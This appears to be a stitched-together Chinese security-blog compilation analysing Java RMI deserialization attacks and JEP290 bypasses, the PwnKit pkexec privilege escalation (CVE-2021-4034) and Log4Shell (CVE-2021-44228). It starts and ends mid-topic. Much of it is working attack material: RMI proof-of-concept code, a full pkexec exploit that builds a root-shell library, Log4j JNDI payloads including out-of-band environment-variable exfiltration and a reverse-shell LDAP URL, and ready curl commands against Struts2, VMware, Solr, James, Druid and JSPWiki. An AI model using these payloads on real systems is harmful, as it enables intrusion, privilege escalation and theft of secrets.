Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1009);
registry.bind("AttackRegistry", remoteObj);

2、攻击服务端

2.1 反序列化参数

攻击服务端其中一种方法是通过反序列化远程方法参数实现的。服务端反序列化参数体现在sun.rmi.server.UnicastServerRef#dispatch方法里调用的unmarshalParameters方法，最终通过sun.rmi.server.UnicastRef#unmarshalValue方法反序列化非基本类型的参数。

 protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    if (var0.isPrimitive()) {
        ...
    } else {
        return var1.readObject();
    }
}

反序列化参数的利用POC比较简单，但需要服务端以Object未参数的远程方法，Demo如下：

# 接口
public interface IRemoteMethod extends Remote {
    public IRemoteMethod exploit(Object obj) throws RemoteException;
}
# 实现类
public class RemoteMethod extends UnicastRemoteObject implements IRemoteMethod {
    protected RemoteMethod() throws RemoteException {
    }
    public IRemoteMethod exploit(Object obj) throws RemoteException {
        return null;
    }
}

然后在客户端里放上同样的接口，从注册中心获取远程方法信息，并以恶意对象调用远程方法即可。

public static void main(String[] args) throws Exception {
    IRemoteMethod remoteMethod = (IRemoteMethod) new InitialContext().lookup("rmi://192.168.78.137:1009/RemoteMethod"");
    remoteMethod.exploit(evilObject());
}

对于非Object参数，但又是Object子类的远程方法，可以用动态代理或继承该子类的方法绕过。

3、攻击客户端

3.1 反序列化注册绑定对象

当客户端lookup时，也会从注册中心获取并反序列化注册绑定的对象，这时的反序列化是在存根sun.rmi.registry.RegistryImpl_Stub#lookup方法中进行。POC的构造也与注册中心反序列化的差不多，只是改成由注册中心注册绑定恶意类：

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("obj", evilObject());
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remoteObj = (Remote) Proxy.newProxyInstance(
    Remote.class.getClassLoader(),
    new Class[]{Remote.class},
    invocationHandler
);
Registry registry = LocateRegistry.createRegistry(1009);
registry.bind("AttackRegistry", remoteObj);

3.2 反序列化返回值

当远程方法的返回值不为空，且不为基础类型时，就会对返回值进行反序列化。反序列化返回值与服务端反序列化参数的调用栈类似，最终都是通过sun.rmi.server.UnicastRef#unmarshalValue方法反序列化。

POC也很简单，远程方法直接返回恶意对象即可：

public class AttackerRemoteMethod extends UnicastRemoteObject implements IAttackerRemoteMethod {
    public Object exploit() throws RemoteException {
        return evilObject();
    }
}

4、JEP290及其绕过

JEP290是JDK9引入的规范，并且向下兼容到JDK 8u121、JDK 7u131和JDK 6u141。其核心机制是由序列化客户端实现并设置在ObjectInputStream，在反序列化过程中调用过滤器接口方法来验证正在反序列化的类、正在创建的数组的大小以及反序列化的长度、深度和反序列化时引用的数量，返回REJECTED、ALLOWED或UNDECIDED状态。他的过滤接口方法并不是默认配置的，而是通过jdk.serialFilter属性设置全局过滤接口方法或setObjectInputFilter方法设置局部过滤接口方法。

在RMI反序列化过程中仅注册中心在sun.rmi.registry.RegistryImpl#registryFilter中实现，对反序列化的深度、数组大小和反序列化的类做了限制。

private static Status registryFilter(FilterInfo var0) {
    if (registryFilter != null) {
        Status var1 = registryFilter.checkInput(var0);
        if (var1 != Status.UNDECIDED) {
            return var1;
        }
    }
    if (var0.depth() > 20L) {
        return Status.REJECTED;
    } else {
        Class var2 = var0.serialClass();
        if (var2 != null) {
            if (!var2.isArray()) {
                return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
            } else {
                return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
            }
        } else {
            return Status.UNDECIDED;
        }
    }
}

4.1 UnicastRef 类绕过

UnicastRef 是RMI注册中心反序列化白名单中的类，是正常bind对象后注册中心得到的stub中的属性。

下面调试下正常的注册流程，直接在sun.rmi.registry.RegistryImpl_Skel#dispatch处，注册中心反序列化服务端bind对象开始。接着调用封装类的父类RemoteObject的自定义readObject方法。在这里会实例化Reference类UnicastRef，并调用他的readExternal反序列化。readExternal里接着调用sun.rmi.transport.LiveRef#read给UnicastRef的ref属性赋值。

read:291, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
...
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

sun.rmi.transport.LiveRef#read方法里，主要逻辑是从输入流中获取TCPEndpoint和ObjID，来初始化LiveRef并返回。这里的TCPEndpoint记录着服务端监听的地址和端口，并且方法里保存LiveRef到输入流的操作会将TCPEndpoint保存到输入流的incomingRefTable属性中，这一步很关键。

反序列化结束后就是注册引用的流程。

在sun.rmi.transport.DGCImpl_Stub#dirty方法首先利用反序列化的UnicastRef建立连接，返回一个StreamRemoteCall对象，接着调用它的invoke方法。

invoke方法最后调用的是StreamRemoteCall对象的executeCall方法，通过getInputStream方法从conn属性获取输入流赋值给in属性，然后从输入流中获取一个字节赋给var1，进入switch语句中，为2则反序列化输入流。至此与UnicateRef绕过JEP290的流程就结束了。

public void executeCall() throws Exception {
    DGCAckHandler var2 = null;
    byte var1;
    try {
        ...
        this.getInputStream();
        var1 = this.in.readByte();
        this.in.readID();
    } catch (UnmarshalException var11) {
  ...
    }
    switch(var1) {
    case 1:
        return;
    case 2:
        Object var14;
        try {
            var14 = this.in.readObject();
        } catch (Exception var10) {
            throw new UnmarshalException("Error unmarshaling return", var10);
        }
 ...
 }
 ...
}

关于这个var1作用，查了AdoptOpenJDK的源码得知是JRMP协议中返回值的标记，正常返回值不会进行反序列化。UnicastRef绕过JEP290使用ysoserial中的JRMPlistener，其将报错返回改成反序列化的payload，实现命令执行。

最后服务端的代码如下，相比正常的流程可以控制LiveRef指向恶意的服务端ip和端口。

public class UnicastRefBypass {
    public static void main(String[] args) throws Exception {
        Registry reg = LocateRegistry.getRegistry("localhost", 1009);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("10.91.33.139", 3333);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(UnicastRefBypass.class.getClassLoader(), new Class[]{
                Registry.class
        }, obj);
        reg.bind("UnicastRefBypass", proxy);
    }
}

4.2 UnicastRemoteObject类绕过

在8u231的修复中，sun.rmi.transport.DGCImpl_Stub#dirty提前为输入流filter属性设置了过滤接口方法，在后续sun.rmi.transport.StreamRemoteCall#executeCall中又捕获过滤接口方法抛出的InvalidClassException异常，清空输入流中incomingRefTable属性的值。前者使得利用UnicastRef类绕过方式在反序列化Exception返回值时无法反序列化任意类。

国外安全研究员An Trinh在8u231版本发布前提出的一种绕过方式，没有使用注册流程中注册中心发起连接到服务端的输入流，而是利用注册中心在反序列化服务端绑定的对象过程中发起JRMP请求，巧妙地绕过了过滤。

先从直接反序列化构造的对象来复现下这个POC，首先用ysoserial起一个JRMPListener 的exploit。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "calc"

然后再现在下面的POC反序列化。

ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
        RMIServerSocketFactory.class.getClassLoader(),
        new Class[]{RMIServerSocketFactory.class, Remote.class},
        obj
);
Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Field field = UnicastRemoteObject.class.getDeclaredField("ssf");
field.setAccessible(true);
field.set(unicastRemoteObject, serverSocketFactory);
// Registry reg = LocateRegistry.getRegistry("localhost", 1009);
// reg.bind("Exploit", unicastRemoteObject);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(unicastRemoteObject);
byte[] result = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

调用栈很长，先从java.rmi.server.UnicastRemoteObject#reexport方法开始。当csf或ssf属性非空时，会用csf和ssf实例化一个UnicastServerRef2对象，并调用UnicastServerRef2父类UnicastServerRef的exportObject方法。

UnicastServerRef的exportObject方法就是实现监听端口的操作。后续精彩的部分来了，监听端口的操作会调用sun.rmi.transport.tcp.TCPEndpoint#newServerSocket方法，其中会调用它的ssf属性的方法，这个ssf属性与前面UnicastRemoteObject对象的ssf属性一致，是封装RemoteObjectInvocationHandler的代理类对象。由于代理类的特性，会先调用RemoteObjectInvocationHandler类的invoke方法。再后面的调用栈与客户端调用远程方法的调用栈一致，也就是原本的注册中心变成了客户端，由于客户端没有启动JEP290设置，也就绕过了注册中心的JEP290限制。

单在实际注册绑定的过程中，构造的类会在RegistryImpl_Stub的bind方法中，序列化类的输出流ConnectionOutputStream的父类MarshalOutputStream的enableReplace属性永为true，代理类被替换为UnicastRef 造成利用链被破坏，所以实际利用中要想办法将enableReplace值改为false。ysomap中有实现方法，感兴趣可以看一看。

5、trustURLCodebase绕过

除了以上注册中心JEP290的限制之外，RMI中服务端对客户端的攻击：JNDI注入，使用rmi和ldap协议加载外部工厂类也先后受到trustURLCodebase的限制，只能从本地工厂类实例化对象。

5.1 本地工厂类绕过

使用本地工厂类进行JNDI注入和RMI协议远程加载恶意类的JNDI注入开头的调用栈基本相似，毕竟两者都是基于RMI协议的，但在javax.naming.spi.NamingManager#getObjectInstance这里开始就有所不同。在调用getObjectFactoryFromReference方法时返回的是本地正常的工厂类，这个工厂类是ObjectFactory的实现类或他的子类，然后调用工厂类的getObjectInstance方法。

现在比较通用的ObjectFactory实现类是BeanFactory，他的getObjectInstance方法会从ResourceRef对象的className属性获取类名并实例化，然后从forceString的String引用地址以=号分割获取参数名和setter方法名，并反射获取这个setter参数为String的方法，最后获取参数名的String引用地址内内容，用实例化的对象调用这个setter方法。

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {
    if (obj instanceof ResourceRef) {
        try {
            Reference ref = (Reference) obj;
            String beanClassName = ref.getClassName();
            Class<?> beanClass = null;
            ClassLoader tcl =
                Thread.currentThread().getContextClassLoader();
            if (tcl != null) {
                try {
                    beanClass = tcl.loadClass(beanClassName);
                } catch(ClassNotFoundException e) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch(ClassNotFoundException e) {
                    e.printStackTrace();
                }
            }
            if (beanClass == null) {
                throw new NamingException
                    ("Class not found: " + beanClassName);
            }
            ...
            Object bean = beanClass.getConstructor().newInstance();
            /* Look for properties with explicitly configured setter */
            RefAddr ra = ref.get("forceString");
            Map<String, Method> forced = new HashMap<>();
            String value;
            if (ra != null) {
                value = (String)ra.getContent();
                Class<?> paramTypes[] = new Class[1];
                paramTypes[0] = String.class;
                String setterName;
                int index;
                /* Items are given as comma separated list */
                for (String param: value.split(",")) {
                    param = param.trim();
                    /* A single item can either be of the form name=method
                     * or just a property name (and we will use a standard
                     * setter) */
                    index = param.indexOf('=');
                    if (index >= 0) {
                        setterName = param.substring(index + 1).trim();
                        param = param.substring(0, index).trim();
                    } else {
                        ...
                    }
                    try {
                        forced.put(param,
                                   beanClass.getMethod(setterName, paramTypes));
                    } catch (NoSuchMethodException|SecurityException ex) {
                        ...
                    }
                }
            }
            Enumeration<RefAddr> e = ref.getAll();
            while (e.hasMoreElements()) {
                ra = e.nextElement();
                String propName = ra.getType();
                if (propName.equals(Constants.FACTORY) ||
                    propName.equals("scope") || propName.equals("auth") ||
                    propName.equals("forceString") ||
                    propName.equals("singleton")) {
                    continue;
                }
                value = (String)ra.getContent();
                Object[] valueArray = new Object[1];
                /* Shortcut for properties with explicitly configured setter */
                Method method = forced.get(propName);
                if (method != null) {
                    valueArray[0] = value;
                    try {
                        method.invoke(bean, valueArray);
                    } catch (...) {
                        ...
                    }
                    continue;
                }
                ...
            }
            return bean;
        } catch (java.beans.IntrospectionException ie) {
            ...
        }
    } else {
        return null;
    }
}

结合以上getObjectInstance代码逻辑，被反射的类需要符合以下条件才可被利用:

• 具有一个无参公有构造方法
• 具有一个公有、参数为String类型的方法

一些使用了tomcat-embed-el依赖的项目，或者部分tomcat和spring的版本下具有的javax.el.ELProcessor类和他的eval方法符合这些条件，最终构造出用于绑定的Remote对象如下：

ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);

参考

https://mp.weixin.qq.com/s/AG0OfLfQWW-winIWiOtwLQ

https://su18.org/post/rmi-attack/

http://pipinstall.cn/2021/05/31/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://xz.aliyun.com/t/7932

https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1

https://www.anquanke.com/post/id/263726

https://tttang.com/archive/1405/

https://mp.weixin.qq.com/s/gBuKDjRfnbJDv6TG5F6q3w

漏洞背景

近期国外Qualys安全研究团队披露了一个polkit工具包里的pkexec命令由于越界读写导致内存损坏的本地提权漏洞，影响年限自2009年起至今已有12年，pkexec是一个suid-root的工具。

影响范围

漏洞描述

下面是对pkexec的简单描述。

PKEXEC(1)              pkexec              PKEXEC(1)
NAME
       pkexec - Execute a command as another user
SYNOPSIS
       pkexec [--version] [--disable-internal-agent] [--help]
       pkexec [--user username] PROGRAM [ARGUMENTS...]
DESCRIPTION
       pkexec allows an authorized user to execute PROGRAM as another user. If username is not specified, then the program will be executed as the administrative super
       user, root.

例如普通用户执行vi /etc/shadow会提示[Permission Denied]，但是执行pkexec vi /etc/shadow就可以正常打开，pkexec作用和sudo类似。

漏洞分析

本次以漏洞修复前一个版本0.120为例分析该漏洞。问题代码在polkit工程下 src/programs/pkexec.c的main函数里，对pkexec参数处理过程中越界读取envp里的value，在pkexec.c的main函数里第一个for循环，534行，默认给n=1。

在代码610行，path = g_strdup (argv[n]);  当给pkexec空参数时，n仍然等于1，此时path越界读取了argv[1]。在632行和639行，argv[1]被越界写入了path的绝对路径。

那问题就在于，当pkexec传递了空参数后，本不该存在的argv[1]，出现越界读和越界写后，这里argv[1]的值会发生什么变化？在linux系统里，默认启动一个进程都是调用的execve函数，下面是对execve函数的描述：

当execve一个程序后，它的栈空间传参布局应该是这样：

|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

因为栈空间是连续的，当pkexec的参数为空时，argv[0]后面紧接着的应该是envp[0]，也就是这里的argv[1]越界访问的是envp[0]。

如环境变量“PATH=name”，如果name目录存在，并且name目录下也有value可执行程序，那么envp[0]的便指向name/value；

如环境变量设置为“PATH=name=.”，并且“name=.”目录下也有value可执行程序，那么envp[0]的便指向“name=./value”。

分析总结

接下来，我们总结一下整个漏洞触发的过程：

1. 534行，执行execve("/usr/bin/pkexec", argv, envp)时，当argv = {NULL}时，argc=0，不会进入if判断，但是n被设置为1；
2. 610行，argv[1]越界访问的是envp[0]，获取到value值；
3. 632行，执行g_find_program_in_path(path)获取value值的绝对路径；
4. 639行，将value的绝对路径越界写回envp[0]。

这时，可以引入危险的环境变量到pkexec执行环境变量当中，加载恶意的so文件执行任意行为，但是在702行，环境变量会被清除。

漏洞利用

利用分析

是否记得GCONV_PATH利用？利用glibc中的iconv_open()函数，加载恶意so库执行任意代码，在pkexec的源码里有大量的glib的g_printerr()函数，用来输出错误信息，默认是UTF-8的格式，如果当前的CHARSET环境变量不是UTF-8，是UTF-16的话，就需要对输出信息进行转码，就会调用glibc的iconv()函数，在调用iconv()函数前必须调用iconv_open()函数初始化编码，具体如下。

1. iconv_open()函数依照GCONV_PATH找到gconv-modules文件。
2. 根据gconv-modules文件的指示找到参数对应字符集的so库。
3. 调用so库中的gconv()和gonv_init()函数，这里so库是恶意so库，gonv_init()函数可以自由实现，从而执行任意代码。

既然可以通过引入危险环境变量到pkexec执行环境变量当中，那是否可以直接通过 execve("/usr/bin/pkexec", argv, envp)这种方式直接在envp里引入GCONV_PATH环境变量加载恶意so库，答案是不行。

原因是ld.so加载器会在特权程序执行的时候清除敏感环境变量，UNSECURE_ENVVARS宏里清除了GCONV_PATH环境变量。

所以还是得依赖g_printerr()函数来劫持执行流，通过构造错误的XAUTHORITY环境变量，在pkexec.c的main函数里会调用validate_environment_variable()函数检查所有环境变量。

当检查到key=XAUTHORITY时的value里含有“..”的话，会进入判断执行g_printerr()函数，又因为字符集需要转码，所以会执行icov_open()函数来加载恶意so库，从而实现任意代码。

利用过程

经过上述利用分析，这里对利用做个总结：

1. 创建"GCONV_PATH=."目录，并且在该目录下生成空的可执行文件xxx，此时xxx的路径是GCONV_PATH=./xxx。
2. 在当前目录生成恶意的so库文件。
3. 在当前目录创建xxx目录，并且在xxx目录下创建gconv-modules文件，xxx/gconv-modules文件里so指向当前目录的恶意so库。
4. 执行execve("/usr/bin/pkexec", argv, envp)，argv = {NULL}，envp = {"xxx", "PATH=GCONV_PATH=.", "LC_MESSAGES=en_US.UTF-8", "XAUTHORITY=../LOL",  "GIO_USE_VFS=", NULL}。

完整EXP

/*
 * blasty-vs-pkexec.c -- by blasty <peter@haxx.in> 
 * ------------------------------------------------
 * PoC for CVE-2021-4034, shout out to Qualys
 *
 * ctf quality exploit
 *
 * bla bla irresponsible disclosure
 *
 * -- blasty // 2022-01-25
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void fatal(char *f) {
    perror(f);
    exit(-1);
}
void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }
    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";
    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);
    system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        "GIO_USE_VFS=",
        NULL
    };
    printf("[~] compile helper..\n");
    compile_so();
    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }
    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }
    printf("[~] maybe get shell now?\n");
    execve("/usr/bin/pkexec", a_argv, a_envp);
}

参考

[1]https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

[2]https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

[3]https://saucer-man.com/information_security/876.html

[4]https://haxx.in/files/blasty-vs-pkexec.c

前言

2021 年 12 月 10 日，Apache发布了其 Log4j 框架的 2.15.0 版，其中包括对 CVE-2021-44228 的修复，这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞。该漏洞存在于 Log4j 处理器处理特制日志消息的方式中。不可信的字符串（例如，来自输入文本字段的字符串，例如 Web 应用程序搜索框）包含的内容${jndi:ldap://example.com/a}，如果启用了消息查找替换，将触发远程类加载、消息查找和相关内容的执行。成功利用 CVE-2021-44228 可以让未经身份验证的远程攻击者完全控制易受攻击的目标系统。

简介

Log4j是Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。

Lookup提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup接口的特定类型的插件。Lookup语法为${prefix:name}，其中前缀标识告诉Log4j应在特定上下文中使用的变量名称。

漏洞分析

漏洞触发

选用log4j-core 2.14.1版本，使用以下代码作为demo。启动一个恶意的RMI或LDAP服务，执行demo即可触发。

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Log4jJNDI {
    private static final Logger logger = LogManager.getLogger(Log4jJNDI.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:rmi://127.0.0.1:8888/Calc}");
    }
}

代码分析

跟进到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format，若未设置nolookup为true，遍历要输出的日志，$符号和{符号相继出现则会在后续将花括号中的内容作处理。nolookup在log4j 2.15.0之前是默认关闭的。

再跟进到org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute，在这里会从外到内递归${和}内的内容，然后使用图中的resolveVariable方法解析并返回它的值。

在resolveVariable方法里支持解析的前缀有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j，实测在Spring框架下支持解析的前缀会有所不同。

继续跟进org.apache.logging.log4j.core.lookup.Interpolator#lookup，根据前缀从strLookupMap属性中获取相应的Lookup类实例。这里获取的是JndiLookup的实例，并调用该实例的lookup方法。

JndiLookup的lookup方法里，调用org.apache.logging.log4j.core.net.jndiManager的getDefaultManager静态方法，返回JndiManager实例，其中的context属性被设置为InitialContext对象。

然后调用JndiManager实例的lookup方法，实际就是它的context属性InitialContext的lookup方法，后续流程就如常规JNDI注入，加载远程的恶意类执行其中的恶意代码。

RC1修复绕过

log4j在RC1中对JNDI注入问题的修复存在于github的commit记录LOG4J2-3201中。在JndiManager类里对反序列化的类和JNDI服务器地址做了白名单校验。

 public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn("Attempt to access ldap server not in allowed list");
                        return null;
                    }
                    Attributes attributes = this.context.getAttributes(name);
                    if (attributes != null) {
                        // In testing the "key" for attributes seems to be lowercase while the attribute id is
                        // camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
                        // to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
                        // the Java schema.
                        Map<String, Attribute> attributeMap = new HashMap<>();
                        NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                        while (enumeration.hasMore()) {
                            Attribute attribute = enumeration.next();
                            attributeMap.put(attribute.getID(), attribute);
                        }
                        Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                        if (attributeMap.get(SERIALIZED_DATA) != null) {
                            if (classNameAttr != null) {
                                String className = classNameAttr.get().toString();
                                if (!allowedClasses.contains(className)) {
                                    LOGGER.warn("Deserialization of {} is not allowed", className);
                                    return null;
                                }
                            } else {
                                LOGGER.warn("No class name provided for {}", name);
                                return null;
                            }
                        } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                                || attributeMap.get(OBJECT_FACTORY) != null) {
                            LOGGER.warn("Referenceable class is not allowed for {}", name);
                            return null;
                        }
                    }
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

但这个修复存在问题，如果new URI(name)抛出了URISyntaxException异常，则会跳过白名单校验直接调用lookup。URI加不编码的空格可以触发URISyntaxException跳出try catch直接执行lookup，但在lookup里会去掉空格，正常触发JNDI注入。

${jndi:ldap://127.0.0.1:1389/ badClassName}

其他利用方式

读取敏感信息

log4j中的两个前缀sys和env，是分别通过System.getProperty()和System.getenv()实现的，能够获取环境变量和系统属性，再配合Out-of-Band，就能读取到环境变量和系统属性中的敏感信息。

POC

${jndi:ldap://${env:USER}.dnslog.cn/abc}

读取配置文件

bundle前缀ResourceBundleLookup中会把 key 按照 :分割成两份，第一个是 bundleName 获取 ResourceBundle，第二个是 bundleKey 获取 Properties Value。

bundle前缀在只引入log4j的项目上默认不支持，测试在spring框架里支持。

POC

${jndi:ldap://${bundle:bundleName:bundleKey}.ed7yce.dnslog.cn/abc}

受影响组件触发方式

Struts2

检查请求路径触发

在struts2-core包的org.apache.struts2.dispatcher.mapper#cleanupActionName中，检查action名的范围是否在[a-zA-Z0-9._!/\-]内，若存在访问之外的字符，则会将action名输出到WARN日志中。

protected String cleanupActionName(String rawActionName) {
    if (this.allowedActionNames.matcher(rawActionName).matches()) {
        return rawActionName;
    } else {
        LOG.warn("{} did not match allowed action names {} - default action {} will be used!", rawActionName, this.allowedActionNames, this.defaultActionName);
        return this.defaultActionName;
    }
}

在请求路径中两个相邻的/会被转换为一个/，将其中一个/替换为${::-/}可防止被转换。

有的struts2版本的相同类中还存在cleanupNamespaceName方法，利用方式相同。

POC

http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/

检查请求参数长度

在struts2-core包的com.opensymphony.xwork2.interceptor#isWithinLengthLimit中，访问一个存在的action，会检查请求参数名的长度，若长度超过默认的100个字符，请求参数名则会输出到debug日志中。

protected boolean isWithinLengthLimit(String name) {
    boolean matchLength = name.length() <= this.paramNameMaxLength;
    if (!matchLength) {
        LOG.debug("Parameter [{}] is too long, allowed length is [{}]", name, String.valueOf(this.paramNameMaxLength));
    }
    return matchLength;
}

POC

http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123

获取静态文件If-Modified-Since头

struts2在org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter#doFilter拦截一个请求，且请求的路径不在排除的路径内，则会先调用execute属性的executeStaticResourceRequest方法，判断是否为静态文件。

在org.apache.struts2.dispatcher.ExecuteOperations#executeStaticResourceRequest里，请求以struts或static开头则会交给DefaultStaticContentLoader的findStaticResource处理。

findStaticResource方法中，静态文件会从struts2 core的org.apache.struts.static包下找，然后会交给同类的process方法处理。该包存在以下静态文件。

tooltip.gif

domtt.css

utils.js

domTT.js

inputtransfersselect.js

optiontransferselect.js

process方法里，静态文件输入流非空时，则会尝试将请求头If-Modified-Since的值转为Date类型，当转换失败抛出异常，If-Modified-Since的值就会输出到WARN日志中。

我们访问struts2中默认的静态文件，并设置If-Modified-Since头为非Date类型即可触发log4j漏洞。

POC

curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js

其他受影响组件

vmware

curl --insecure  -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="

slor

curl 'http://localhost:8983/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json'
curl 'http://localhost:8983/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://10.0.0.6:1270/abc%7D&wt=json'

James

echo 233 > email.txt
curl --url "smtp://localhost" --user "test:test" --mail-from '${jndi:ldap://localhost:1270/abc}@gmail.com' --mail-rcpt 'test' --upload-file email.txt 

Druid

curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'

JSPWiki

curl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

OFBiz

